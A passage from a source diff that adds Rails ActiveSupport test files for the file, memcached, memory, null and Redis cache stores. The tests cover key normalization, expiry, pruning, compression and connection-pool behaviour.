+    key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}B"
+    path = @cache.send(:normalize_key, key, {})
+    assert path.split("/").all? { |dir_name| dir_name.size <= ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE }
+    assert_equal "B", File.basename(path)
+  end
+
+  def test_delete_matched_when_key_exceeds_max_filename_size
+    submaximal_key = "_" * (ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE - 1)
+
+    @cache.write(submaximal_key + "AB", "value")
+    @cache.delete_matched(/AB/)
+    assert_not @cache.exist?(submaximal_key + "AB")
+
+    @cache.write(submaximal_key + "/A", "value")
+    @cache.delete_matched(/A/)
+    assert_not @cache.exist?(submaximal_key + "/A")
+  end
+
+  # If nothing has been stored in the cache, there is a chance the cache directory does not yet exist
+  # Ensure delete_matched gracefully handles this case
+  def test_delete_matched_when_cache_directory_does_not_exist
+    assert_nothing_raised do
+      ActiveSupport::Cache::FileStore.new("/test/cache/directory").delete_matched(/does_not_exist/)
+    end
+  end
+
+  def test_delete_does_not_delete_empty_parent_dir
+    sub_cache_dir = File.join(cache_dir, "subdir/")
+    sub_cache_store = ActiveSupport::Cache::FileStore.new(sub_cache_dir)
+    assert_nothing_raised do
+      assert sub_cache_store.write("foo", "bar")
+      assert sub_cache_store.delete("foo")
+    end
+    assert File.exist?(cache_dir), "Parent of top level cache dir was deleted!"
+    assert File.exist?(sub_cache_dir), "Top level cache dir was deleted!"
+    assert_empty Dir.children(sub_cache_dir)
+  end
+
+  def test_log_exception_when_cache_read_fails
+    File.stub(:exist?, -> { raise StandardError.new("failed") }) do
+      @cache.send(:read_entry, "winston", **{})
+      assert_predicate @buffer.string, :present?
+    end
+  end
+
+  def test_cleanup_removes_all_expired_entries
+    time = Time.now
+    @cache.write("foo", "bar", expires_in: 10)
+    @cache.write("baz", "qux")
+    @cache.write("quux", "corge", expires_in: 20)
+    Time.stub(:now, time + 15) do
+      @cache.cleanup
+      assert_not @cache.exist?("foo")
+      assert @cache.exist?("baz")
+      assert @cache.exist?("quux")
+      assert_equal 2, Dir.glob(File.join(cache_dir, "**")).size
+    end
+  end
+
+  def test_cleanup_when_non_active_support_cache_file_exists
+    cache_file_path = @cache.send(:normalize_key, "foo", nil)
+    FileUtils.makedirs(File.dirname(cache_file_path))
+    File.atomic_write(cache_file_path, cache_dir) { |f| Marshal.dump({ "foo": "bar" }, f) }
+    assert_nothing_raised { @cache.cleanup }
+    assert_equal 1, Dir.glob(File.join(cache_dir, "**")).size
+  end
+
+  def test_write_with_unless_exist
+    assert_equal true, @cache.write(1, "aaaaaaaaaa")
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+    @cache.write(1, nil)
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+  end
+
+  private
+    def key_pattern(key, namespace: nil)
+      /.+\/#{Regexp.escape namespace.to_s}#{/%3A/i if namespace}#{Regexp.escape key}/
+    end
+end
diff --git a/activesupport/test/cache/stores/mem_cache_store_test.rb b/activesupport/test/cache/stores/mem_cache_store_test.rb
new file mode 100644
index 0000000000000..7b8d69a298e41
--- /dev/null
+++ b/activesupport/test/cache/stores/mem_cache_store_test.rb
@@ -0,0 +1,466 @@
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/cache"
+require_relative "../behaviors"
+require "dalli"
+
+class MemCacheStoreTest < ActiveSupport::TestCase
+  # Emulates a latency on Dalli's back-end for the key latency to facilitate
+  # connection pool testing.
+  class SlowDalliClient < Dalli::Client
+    def get(key, options = {})
+      if /latency/.match?(key)
+        sleep 3
+        super
+      else
+        super
+      end
+    end
+  end
+
+  class UnavailableDalliServer < Dalli::Protocol::Binary
+    def alive? # before https://github.com/petergoldstein/dalli/pull/863
+      false
+    end
+
+    def ensure_connected! # after https://github.com/petergoldstein/dalli/pull/863
+      false
+    end
+  end
+
+  if ENV["BUILDKITE"]
+    MEMCACHE_UP = true
+  else
+    begin
+      servers = ENV["MEMCACHE_SERVERS"] || "localhost:11211"
+      ss = Dalli::Client.new(servers).stats
+      raise Dalli::DalliError unless ss[servers] || ss[servers + ":11211"]
+
+      MEMCACHE_UP = true
+    rescue Dalli::DalliError
+      $stderr.puts "Skipping memcached tests. Start memcached and try again."
+      MEMCACHE_UP = false
+    end
+  end
+
+  def lookup_store(*addresses, **options)
+    cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, *addresses, { namespace: @namespace, pool: false, socket_timeout: 60 }.merge(options))
+    (@_stores ||= []) << cache
+    cache
+  end
+
+  parallelize(workers: 1)
+
+  def setup
+    skip "memcache server is not up" unless MEMCACHE_UP
+
+    @namespace = "test-#{Random.rand(16**32).to_s(16)}"
+    @cache = lookup_store(expires_in: 60)
+    @peek = lookup_store
+    @cache.logger = ActiveSupport::Logger.new(File::NULL)
+  end
+
+  def teardown
+    @cache.clear
+  end
+
+  def after_teardown
+    return unless defined?(@_stores) # because skipped test
+
+    stores, @_stores = @_stores, []
+    stores.each do |store|
+      # Eagerly closing Dalli connection avoid file descriptor exhaustion.
+      # Otherwise the test suite is flaky when ran repeatedly
+      store.instance_variable_get(:@data).close
+    end
+  end
+
+  include CacheStoreBehavior
+  include CacheStoreVersionBehavior
+  include CacheStoreCoderBehavior
+  include CacheStoreCompressionBehavior
+  include CacheStoreSerializerBehavior
+  include CacheStoreFormatVersionBehavior
+  include LocalCacheBehavior
+  include CacheIncrementDecrementBehavior
+  include CacheInstrumentationBehavior
+  include CacheLoggingBehavior
+  include EncodedKeyCacheBehavior
+  include ConnectionPoolBehavior
+  include FailureSafetyBehavior
+
+  test "validate pool arguments" do
+    assert_raises TypeError do
+      ActiveSupport::Cache::MemCacheStore.new(pool: { size: [] })
+    end
+
+    assert_raises TypeError do
+      ActiveSupport::Cache::MemCacheStore.new(pool: { timeout: [] })
+    end
+
+    ActiveSupport::Cache::MemCacheStore.new(pool: { size: "12", timeout: "1.5" })
+  end
+
+  test "instantiating the store doesn't connect to Memcache" do
+    ActiveSupport::Cache::MemCacheStore.new("memcached://localhost:1")
+  end
+
+  # Overrides test from LocalCacheBehavior in order to stub out the cache clear
+  # and replace it with a delete.
+  def test_clear_also_clears_local_cache
+    key = SecureRandom.uuid
+    cache = lookup_store(raw: true)
+    stub_called = false
+
+    client(cache).stub(:flush_all, -> { stub_called = true; client.delete("#{@namespace}:#{key}") }) do
+      cache.with_local_cache do
+        cache.write(key, SecureRandom.alphanumeric)
+        cache.clear
+        assert_nil cache.read(key)
+      end
+      assert_nil cache.read(key)
+    end
+    assert stub_called
+  end
+
+  def test_short_key_normalization
+    short_key = "a" * 250
+    assert_equal short_key, @cache.send(:normalize_key, short_key, { namespace: nil })
+  end
+
+  def test_long_key_normalization
+    long_key = "b" * 251
+    normalized_key = @cache.send(:normalize_key, long_key, { namespace: nil })
+    assert_equal 250, normalized_key.size
+    assert_match(/^b+:hash:/, normalized_key)
+  end
+
+  def test_namespaced_key_normalization
+    short_key = "a" * 250
+    normalized_key = @cache.send(:normalize_key, short_key, { namespace: "ns" })
+    assert_equal 250, normalized_key.size
+    assert_match(/^ns:a+:hash:/, normalized_key)
+  end
+
+  def test_multibyte_string_key_normalization
+    multibyte_key = "c" * 100 + ["01F60F".to_i(16)].pack("U*") + "c" * 149
+    assert_equal 250, multibyte_key.size
+    assert_equal 253, multibyte_key.bytes.size
+    normalized_key = @cache.send(:normalize_key, multibyte_key, { namespace: nil })
+    assert_equal 250, normalized_key.bytes.size
+    assert_match(/^c{100}%F0%9F%98%8Fc+:hash:[[:print:]]+$/, normalized_key)
+  end
+
+  def test_whole_key_digest_on_normalization
+    key_one = "d" * 1000 + "a"
+    key_two = "d" * 1000 + "b"
+    normalized_one = @cache.send(:normalize_key, key_one, { namespace: nil })
+    normalized_two = @cache.send(:normalize_key, key_two, { namespace: nil })
+
+    assert_equal 250, normalized_one.bytes.size
+    assert_equal 250, normalized_two.bytes.size
+    assert_not_equal normalized_one, normalized_two
+  end
+
+  def test_raw_values
+    cache = lookup_store(raw: true)
+    cache.write("foo", 2)
+    assert_equal "2", cache.read("foo")
+  end
+
+  def test_raw_read_entry_compression
+    cache = lookup_store(raw: true)
+    cache.write("foo", 2)
+
+    assert_not_called_on_instance_of ActiveSupport::Cache::Entry, :compressed do
+      cache.read("foo")
+    end
+  end
+
+  def test_raw_values_with_marshal
+    cache = lookup_store(raw: true)
+    cache.write("foo", Marshal.dump([]))
+    assert_equal Marshal.dump([]), cache.read("foo")
+  end
+
+  def test_local_cache_raw_values
+    cache = lookup_store(raw: true)
+    cache.with_local_cache do
+      cache.write("foo", 2)
+      assert_equal "2", cache.read("foo")
+    end
+  end
+
+  def test_increment_unset_key
+    assert_equal 1, @cache.increment("foo")
+    assert_equal "1", @cache.read("foo", raw: true)
+  end
+
+  def test_write_expires_at
+    cache = lookup_store(raw: true, namespace: nil)
+
+    Time.stub(:now, Time.now) do
+      assert_called_with client(cache), :set, ["key_with_expires_at", "bar", 30 * 60], namespace: nil, pool: false, raw: true, compress_threshold: 1024, expires_in: 1800.0, socket_timeout: 60 do
+        cache.write("key_with_expires_at", "bar", expires_at: 30.minutes.from_now)
+      end
+    end
+  end
+
+  def test_write_with_unless_exist
+    assert_equal true, @cache.write("foo", 1)
+    assert_equal false, @cache.write("foo", 1, unless_exist: true)
+  end
+
+  def test_increment_expires_in
+    cache = lookup_store(raw: true, namespace: nil)
+    assert_called_with client(cache), :incr, [ "foo", 1, 60, 1 ] do
+      cache.increment("foo", 1, expires_in: 60)
+    end
+  end
+
+  def test_decrement_unset_key
+    assert_equal 0, @cache.decrement("foo")
+    assert_equal "0", @cache.read("foo", raw: true)
+  end
+
+  def test_decrement_expires_in
+    cache = lookup_store(raw: true, namespace: nil)
+    assert_called_with client(cache), :decr, [ "foo", 1, 60, 0 ] do
+      cache.decrement("foo", 1, expires_in: 60)
+    end
+  end
+
+  def test_dalli_cache_nils
+    cache = lookup_store(cache_nils: false)
+    cache.fetch("nil_foo") { nil }
+    assert_equal "bar", cache.fetch("nil_foo") { "bar" }
+
+    cache1 = lookup_store(cache_nils: true)
+    cache1.fetch("not_nil_foo") { nil }
+    assert_nil cache.fetch("not_nil_foo") { "bar" }
+  end
+
+  def test_local_cache_raw_values_with_marshal
+    cache = lookup_store(raw: true)
+    cache.with_local_cache do
+      cache.write("foo", Marshal.dump([]))
+      assert_equal Marshal.dump([]), cache.read("foo")
+    end
+  end
+
+  def test_read_should_return_a_different_object_id_each_time_it_is_called
+    @cache.write("foo", "bar")
+    value = @cache.read("foo")
+    assert_not_equal value.object_id, @cache.read("foo").object_id
+    value << "bingo"
+    assert_not_equal value, @cache.read("foo")
+  end
+
+  def test_no_compress_when_below_threshold
+    cache = lookup_store(compress: true, compress_threshold: 10.kilobytes)
+    val = random_string(2.kilobytes)
+    compressed = Zlib::Deflate.deflate(val)
+
+    assert_called(
+      Zlib::Deflate,
+      :deflate,
+      "Memcached writes should not compress when below compress threshold.",
+      times: 0,
+      returns: compressed
+    ) do
+      cache.write("foo", val)
+    end
+  end
+
+  def test_no_multiple_compress
+    cache = lookup_store(compress: true)
+    val = random_string(100.kilobytes)
+    compressed = Zlib::Deflate.deflate(val)
+
+    assert_called(
+      Zlib,
+      :deflate,
+      "Memcached writes should not perform duplicate compression.",
+      times: 1,
+      returns: compressed
+    ) do
+      cache.write("foo", val)
+    end
+  end
+
+  def test_unless_exist_expires_when_configured
+    cache = lookup_store(namespace: nil)
+
+    assert_called_with client(cache), :add, ["foo", Object, 1], namespace: nil, pool: false, compress_threshold: 1024, expires_in: 1, socket_timeout: 60, unless_exist: true do
+      cache.write("foo", "bar", expires_in: 1, unless_exist: true)
+    end
+  end
+
+  def test_forwards_string_addresses_if_present
+    expected_addresses = ["first", "second"]
+    cache = lookup_store(expected_addresses)
+
+    assert_equal expected_addresses, servers(cache)
+  end
+
+  def test_falls_back_to_localhost_if_no_address_provided_and_memcache_servers_undefined
+    with_memcache_servers_environment_variable(nil) do
+      cache = lookup_store
+
+      assert_equal ["127.0.0.1:11211"], servers(cache)
+    end
+  end
+
+  def test_falls_back_to_localhost_if_address_provided_as_nil
+    with_memcache_servers_environment_variable(nil) do
+      cache = lookup_store(nil)
+
+      assert_equal ["127.0.0.1:11211"], servers(cache)
+    end
+  end
+
+  def test_falls_back_to_localhost_if_no_address_provided_and_memcache_servers_defined
+    with_memcache_servers_environment_variable("custom_host") do
+      cache = lookup_store
+
+      assert_equal ["custom_host"], servers(cache)
+    end
+  end
+
+  def test_can_load_raw_values_from_dalli_store
+    key = "test-with-value-the-way-the-dalli-store-did"
+
+    @cache.instance_variable_get(:@data).with { |c| c.set(@cache.send(:normalize_key, key, nil), "value", 0, compress: false) }
+    assert_nil @cache.read(key)
+    assert_equal "value", @cache.fetch(key) { "value" }
+  end
+
+  def test_can_load_raw_falsey_values_from_dalli_store
+    key = "test-with-false-value-the-way-the-dalli-store-did"
+
+    @cache.instance_variable_get(:@data).with { |c| c.set(@cache.send(:normalize_key, key, nil), false, 0, compress: false) }
+    assert_nil @cache.read(key)
+    assert_equal false, @cache.fetch(key) { false }
+  end
+
+  def test_can_load_raw_values_from_dalli_store_with_local_cache
+    key = "test-with-value-the-way-the-dalli-store-did-with-local-cache"
+
+    @cache.instance_variable_get(:@data).with { |c| c.set(@cache.send(:normalize_key, key, nil), "value", 0, compress: false) }
+    @cache.with_local_cache do
+      assert_nil @cache.read(key)
+      assert_equal "value", @cache.fetch(key) { "value" }
+    end
+  end
+
+  def test_can_load_raw_falsey_values_from_dalli_store_with_local_cache
+    key = "test-with-false-value-the-way-the-dalli-store-did-with-local-cache"
+
+    @cache.instance_variable_get(:@data).with { |c| c.set(@cache.send(:normalize_key, key, nil), false, 0, compress: false) }
+    @cache.with_local_cache do
+      assert_nil @cache.read(key)
+      assert_equal false, @cache.fetch(key) { false }
+    end
+  end
+
+  def test_can_read_multi_entries_raw_values_from_dalli_store
+    key = "test-with-nil-value-the-way-the-dalli-store-did"
+
+    @cache.instance_variable_get(:@data).with { |c| c.set(@cache.send(:normalize_key, key, nil), nil, 0, compress: false) }
+    assert_equal({}, @cache.send(:read_multi_entries, [key]))
+  end
+
+  def test_falls_back_to_default_value_when_client_raises_dalli_error
+    cache = lookup_store
+    client = cache.instance_variable_get(:@data)
+    client.stub(:get_multi, lambda { |*_args| raise Dalli::DalliError.new("test error") }) do
+      assert_equal({}, cache.read_multi("key1", "key2"))
+    end
+  end
+
+  def test_falls_back_to_default_value_when_client_raises_connection_pool_timeout_error
+    cache = lookup_store
+    client = cache.instance_variable_get(:@data)
+    client.stub(:get_multi, lambda { |*_args| raise ConnectionPool::TimeoutError.new("test error") }) do
+      assert_equal({}, cache.read_multi("key1", "key2"))
+    end
+  end
+
+  def test_falls_back_to_default_value_when_client_raises_connection_pool_error
+    cache = lookup_store
+    client = cache.instance_variable_get(:@data)
+    client.stub(:get_multi, lambda { |*_args| raise ConnectionPool::Error.new("test error") }) do
+      assert_equal({}, cache.read_multi("key1", "key2"))
+    end
+  end
+
+  def test_pool_options_work
+    cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, pool: { size: 2, timeout: 1 })
+    pool = cache.instance_variable_get(:@data) # loads 'connection_pool' gem
+    assert_kind_of ::ConnectionPool, pool
+    assert_equal 2, pool.size
+    assert_equal 1, pool.instance_variable_get(:@timeout)
+  end
+
+  def test_connection_pooling_by_default
+    cache = ActiveSupport::Cache.lookup_store(:mem_cache_store)
+    pool = cache.instance_variable_get(:@data)
+    assert_kind_of ::ConnectionPool, pool
+    assert_equal 5, pool.size
+    assert_equal 5, pool.instance_variable_get(:@timeout)
+  end
+
+  private
+    def random_string(length)
+      (0...length).map { (65 + rand(26)).chr }.join
+    end
+
+    def store
+      [:mem_cache_store]
+    end
+
+    def emulating_latency
+      old_client = Dalli.send(:remove_const, :Client)
+      Dalli.const_set(:Client, SlowDalliClient)
+
+      yield
+    ensure
+      Dalli.send(:remove_const, :Client)
+      Dalli.const_set(:Client, old_client)
+    end
+
+    def emulating_unavailability
+      old_server = Dalli::Protocol.send(:remove_const, :Binary)
+      Dalli::Protocol.const_set(:Binary, UnavailableDalliServer)
+
+      yield ActiveSupport::Cache::MemCacheStore.new
+    ensure
+      Dalli::Protocol.send(:remove_const, :Binary)
+      Dalli::Protocol.const_set(:Binary, old_server)
+    end
+
+    def servers(cache = @cache)
+      if client(cache).instance_variable_defined?(:@normalized_servers)
+        client(cache).instance_variable_get(:@normalized_servers)
+      else
+        client(cache).instance_variable_get(:@servers)
+      end
+    end
+
+    def client(cache = @cache)
+      cache.instance_variable_get(:@data)
+    end
+
+    def with_memcache_servers_environment_variable(value)
+      original_value = ENV["MEMCACHE_SERVERS"]
+      ENV["MEMCACHE_SERVERS"] = value
+      yield
+    ensure
+      if original_value.nil?
+        ENV.delete("MEMCACHE_SERVERS")
+      else
+        ENV["MEMCACHE_SERVERS"] = original_value
+      end
+    end
+end
diff --git a/activesupport/test/cache/stores/memory_store_test.rb b/activesupport/test/cache/stores/memory_store_test.rb
new file mode 100644
index 0000000000000..684ff48db67e4
--- /dev/null
+++ b/activesupport/test/cache/stores/memory_store_test.rb
@@ -0,0 +1,238 @@
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/cache"
+require_relative "../behaviors"
+
+class StoreTest < ActiveSupport::TestCase
+  def lookup_store(options = {})
+    ActiveSupport::Cache.lookup_store(:memory_store, options)
+  end
+end
+
+class MemoryStoreTest < StoreTest
+  include CacheStoreBehavior
+  include CacheStoreVersionBehavior
+  include CacheStoreCoderBehavior
+  include CacheStoreCompressionBehavior
+  include CacheStoreSerializerBehavior
+  include CacheDeleteMatchedBehavior
+  include CacheIncrementDecrementBehavior
+  include CacheInstrumentationBehavior
+  include CacheLoggingBehavior
+
+  def setup
+    @cache = lookup_store(expires_in: 60)
+  end
+
+  def test_increment_preserves_expiry
+    @cache = lookup_store
+    @cache.write("counter", 1, raw: true, expires_in: 30.seconds)
+    assert_equal 1, @cache.read("counter", raw: true)
+
+    Time.stub(:now, Time.now + 1.minute) do
+      assert_nil @cache.read("counter", raw: true)
+    end
+
+    @cache.write("counter", 1, raw: true, expires_in: 30.seconds)
+    @cache.increment("counter")
+    assert_equal 2, @cache.read("counter", raw: true)
+    Time.stub(:now, Time.now + 1.minute) do
+      assert_nil @cache.read("counter", raw: true)
+    end
+
+    @cache.write("counter", 1, raw: true)
+    @cache.increment("counter", expires_in: 30)
+    assert_equal 2, @cache.read("counter", raw: true)
+    Time.stub(:now, Time.now + 1.minute) do
+      assert_nil @cache.read("counter2", raw: true)
+    end
+  end
+
+  def test_cleanup_instrumentation
+    size = 3
+    size.times { |i| @cache.write(i.to_s, i) }
+
+    assert_notification("cache_cleanup.active_support", size: size, store: @cache.class.name) do
+      @cache.cleanup
+    end
+  end
+
+  def test_nil_coder_bypasses_mutation_safeguard
+    @cache = lookup_store(coder: nil)
+    value = {}
+    @cache.write("key", value)
+
+    assert_same value, @cache.read("key")
+  end
+
+  def test_write_with_unless_exist
+    assert_equal true, @cache.write(1, "aaaaaaaaaa")
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+    @cache.write(1, nil)
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+  end
+
+  def test_namespaced_write_with_unless_exist
+    namespaced_cache = lookup_store(expires_in: 60, namespace: "foo")
+
+    assert_equal true, namespaced_cache.write(1, "aaaaaaaaaa")
+    assert_equal false, namespaced_cache.write(1, "aaaaaaaaaa", unless_exist: true)
+    namespaced_cache.write(1, nil)
+    assert_equal false, namespaced_cache.write(1, "aaaaaaaaaa", unless_exist: true)
+  end
+
+  def test_write_expired_value_with_unless_exist
+    assert_equal true, @cache.write(1, "aaaa", expires_in: 1.second)
+    travel 2.seconds
+    assert_equal true, @cache.write(1, "bbbb", expires_in: 1.second, unless_exist: true)
+  end
+
+  private
+    def compression_always_disabled_by_default?
+      true
+    end
+end
+
+class MemoryStorePruningTest < StoreTest
+  def setup
+    @record_size = ActiveSupport::Cache.lookup_store(:memory_store).send(:cached_size, 1, ActiveSupport::Cache::Entry.new("aaaaaaaaaa"))
+    @cache = ActiveSupport::Cache.lookup_store(:memory_store, expires_in: 60, size: @record_size * 10 + 1)
+  end
+
+  def test_prune_size
+    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+    @cache.write(3, "cccccccccc") && sleep(0.001)
+    @cache.write(4, "dddddddddd") && sleep(0.001)
+    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+    @cache.read(2) && sleep(0.001)
+    @cache.read(4)
+    @cache.prune(@record_size * 3)
+    assert @cache.exist?(5)
+    assert @cache.exist?(4)
+    assert_not @cache.exist?(3), "no entry"
+    assert @cache.exist?(2)
+    assert_not @cache.exist?(1), "no entry"
+  end
+
+  def test_prune_size_on_write
+    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+    @cache.write(3, "cccccccccc") && sleep(0.001)
+    @cache.write(4, "dddddddddd") && sleep(0.001)
+    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+    @cache.write(6, "ffffffffff") && sleep(0.001)
+    @cache.write(7, "gggggggggg") && sleep(0.001)
+    @cache.write(8, "hhhhhhhhhh") && sleep(0.001)
+    @cache.write(9, "iiiiiiiiii") && sleep(0.001)
+    @cache.write(10, "kkkkkkkkkk") && sleep(0.001)
+    @cache.read(2) && sleep(0.001)
+    @cache.read(4) && sleep(0.001)
+    @cache.write(11, "llllllllll")
+    assert @cache.exist?(11)
+    assert @cache.exist?(10)
+    assert @cache.exist?(9)
+    assert @cache.exist?(8)
+    assert @cache.exist?(7)
+    assert_not @cache.exist?(6), "no entry"
+    assert_not @cache.exist?(5), "no entry"
+    assert @cache.exist?(4)
+    assert_not @cache.exist?(3), "no entry"
+    assert @cache.exist?(2)
+    assert_not @cache.exist?(1), "no entry"
+  end
+
+  def test_prune_size_on_write_based_on_key_length
+    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+    @cache.write(3, "cccccccccc") && sleep(0.001)
+    @cache.write(4, "dddddddddd") && sleep(0.001)
+    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+    @cache.write(6, "ffffffffff") && sleep(0.001)
+    @cache.write(7, "gggggggggg") && sleep(0.001)
+    @cache.write(8, "hhhhhhhhhh") && sleep(0.001)
+    @cache.write(9, "iiiiiiiiii") && sleep(0.001)
+    long_key = "*" * 2 * @record_size
+    @cache.write(long_key, "llllllllll")
+    assert @cache.exist?(long_key)
+    assert @cache.exist?(9)
+    assert @cache.exist?(8)
+    assert @cache.exist?(7)
+    assert @cache.exist?(6)
+    assert @cache.exist?(5)
+    assert_not @cache.exist?(4), "no entry"
+    assert_not @cache.exist?(3), "no entry"
+    assert_not @cache.exist?(2), "no entry"
+    assert_not @cache.exist?(1), "no entry"
+  end
+
+  def test_pruning_is_capped_at_a_max_time
+    def @cache.delete_entry(*args, **options)
+      sleep(0.01)
+      super
+    end
+    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+    @cache.write(3, "cccccccccc") && sleep(0.001)
+    @cache.write(4, "dddddddddd") && sleep(0.001)
+    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+    @cache.prune(30, 0.001)
+    assert @cache.exist?(5)
+    assert @cache.exist?(4)
+    assert @cache.exist?(3)
+    assert @cache.exist?(2)
+    assert_not @cache.exist?(1)
+  end
+
+  def test_cache_not_mutated
+    item = { "foo" => "bar" }
+    key = "test_key"
+    @cache.write(key, item)
+
+    read_item = @cache.read(key)
+    read_item["foo"] = "xyz"
+    assert_equal item, @cache.read(key)
+  end
+
+  def test_cache_different_object_ids_hash
+    item = { "foo" => "bar" }
+    key = "test_key"
+    @cache.write(key, item)
+
+    read_item = @cache.read(key)
+    assert_not_equal item.object_id, read_item.object_id
+    assert_not_equal read_item.object_id, @cache.read(key).object_id
+  end
+
+  def test_cache_different_object_ids_string
+    item = "my_string"
+    key = "test_key"
+    @cache.write(key, item)
+
+    read_item = @cache.read(key)
+    assert_not_equal item.object_id, read_item.object_id
+    assert_not_equal read_item.object_id, @cache.read(key).object_id
+  end
+
+  def test_local_store_strategy
+    @cache.with_local_cache do
+      @cache.write("name", "value")
+      assert_equal "value", @cache.read("name")
+      @cache.delete("name")
+      assert_nil @cache.read("name")
+      @cache.write("name", "value")
+    end
+    assert_equal "value", @cache.read("name")
+  end
+
+  def test_local_store_repeated_reads
+    @cache.with_local_cache do
+      @cache.read("foo")
+      assert_nil @cache.read("foo")
+
+      @cache.read_multi("foo", "bar")
+      assert_equal({}, @cache.read_multi("foo", "bar"))
+    end
+  end
+end
diff --git a/activesupport/test/cache/stores/null_store_test.rb b/activesupport/test/cache/stores/null_store_test.rb
new file mode 100644
index 0000000000000..94a00a8be0f24
--- /dev/null
+++ b/activesupport/test/cache/stores/null_store_test.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/cache"
+require_relative "../behaviors"
+
+class NullStoreTest < ActiveSupport::TestCase
+  def setup
+    @cache = ActiveSupport::Cache.lookup_store(:null_store)
+  end
+
+  def test_clear
+    @cache.write("name", "value")
+    @cache.clear
+    assert_nil @cache.read("name")
+  end
+
+  def test_cleanup
+    @cache.write("name", "value")
+    @cache.cleanup
+    assert_nil @cache.read("name")
+  end
+
+  def test_write
+    assert_equal true, @cache.write("name", "value")
+  end
+
+  def test_read
+    @cache.write("name", "value")
+    assert_nil @cache.read("name")
+  end
+
+  def test_delete
+    @cache.write("name", "value")
+    assert_equal false, @cache.delete("name")
+  end
+
+  def test_increment
+    @cache.write("name", 1, raw: true)
+    assert_nil @cache.increment("name")
+  end
+
+  def test_increment_with_options
+    time = Time.now
+    @cache.increment("name", expires_in: 1.second)
+    Time.stub(:now, time + 2.seconds) do
+      assert_nil @cache.read("name")
+    end
+  end
+
+  def test_decrement
+    @cache.write("name", 1, raw: true)
+    assert_nil @cache.decrement("name")
+  end
+
+  def test_decrement_with_options
+    time = Time.now
+    @cache.write("name", 1, raw: true)
+    @cache.decrement("name", expires_in: 1.second)
+    Time.stub(:now, time + 2.seconds) do
+      assert_nil @cache.read("name")
+    end
+  end
+
+  def test_delete_matched
+    @cache.write("name", "value")
+    @cache.delete_matched(/name/)
+    assert_nil @cache.read("name")
+  end
+
+  def test_local_store_strategy
+    @cache.with_local_cache do
+      @cache.write("name", "value")
+      assert_equal "value", @cache.read("name")
+      @cache.delete("name")
+      assert_nil @cache.read("name")
+      @cache.write("name", "value")
+    end
+    assert_nil @cache.read("name")
+  end
+
+  def test_local_store_repeated_reads
+    @cache.with_local_cache do
+      @cache.read("foo")
+      assert_nil @cache.read("foo")
+
+      @cache.read_multi("foo", "bar")
+      assert_equal({}, @cache.read_multi("foo", "bar"))
+    end
+  end
+end
diff --git a/activesupport/test/cache/stores/redis_cache_store_test.rb b/activesupport/test/cache/stores/redis_cache_store_test.rb
new file mode 100644
index 0000000000000..8842d9ccc8b23
--- /dev/null
+++ b/activesupport/test/cache/stores/redis_cache_store_test.rb
@@ -0,0 +1,518 @@
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/cache"
+require "active_support/cache/redis_cache_store"
+require_relative "../behaviors"
+
+# Emulates a latency on Redis's back-end for the key latency to facilitate
+# connection pool testing.
+class SlowRedis < Redis
+  def get(key)
+    if /latency/.match?(key)
+      sleep 0.2
+      super
+    else
+      super
+    end
+  end
+end
+
+module ActiveSupport::Cache::RedisCacheStoreTests
+  REDIS_URL = ENV["REDIS_URL"] || "redis://localhost:6379/0"
+  REDIS_URLS = ENV["REDIS_URLS"]&.split(",") || %w[ redis://localhost:6379/0 redis://localhost:6379/1 ]
+
+  if ENV["BUILDKITE"]
+    REDIS_UP = true
+  else
+    begin
+      redis = Redis.new(url: REDIS_URL)
+      redis.ping
+
+      REDIS_UP = true
+    rescue Redis::BaseConnectionError
+      $stderr.puts "Skipping redis tests. Start redis and try again."
+      REDIS_UP = false
+    end
+  end
+
+  class LookupTest < ActiveSupport::TestCase
+    test "may be looked up as :redis_cache_store" do
+      assert_kind_of ActiveSupport::Cache::RedisCacheStore,
+        ActiveSupport::Cache.lookup_store(:redis_cache_store)
+    end
+  end
+
+  class InitializationTest < ActiveSupport::TestCase
+    test "omitted URL uses Redis client with default settings" do
+      assert_called_with Redis, :new, [
+        connect_timeout: 1, read_timeout: 1, write_timeout: 1
+      ] do
+        build
+      end
+    end
+
+    test "no URLs uses Redis client with default settings" do
+      assert_called_with Redis, :new, [
+        connect_timeout: 1, read_timeout: 1, write_timeout: 1
+      ] do
+        build url: []
+      end
+    end
+
+    test "singular URL uses Redis client" do
+      assert_called_with Redis, :new, [
+        url: REDIS_URL,
+        connect_timeout: 1, read_timeout: 1, write_timeout: 1
+      ] do
+        build url: REDIS_URL
+      end
+    end
+
+    test "one URL uses Redis client" do
+      assert_called_with Redis, :new, [
+        url: REDIS_URL,
+        connect_timeout: 1, read_timeout: 1, write_timeout: 1
+      ] do
+        build url: [ REDIS_URL ]
+      end
+    end
+
+    test "multiple URLs uses Redis::Distributed client" do
+      default_args = {
+        connect_timeout: 1,
+        read_timeout: 1,
+        write_timeout: 1
+      }
+
+      mock = Minitest::Mock.new
+      mock.expect(:call, Redis.new, [{ url: REDIS_URLS.first }.merge(default_args)])
+      mock.expect(:call, Redis.new, [{ url: REDIS_URLS.last }.merge(default_args)])
+
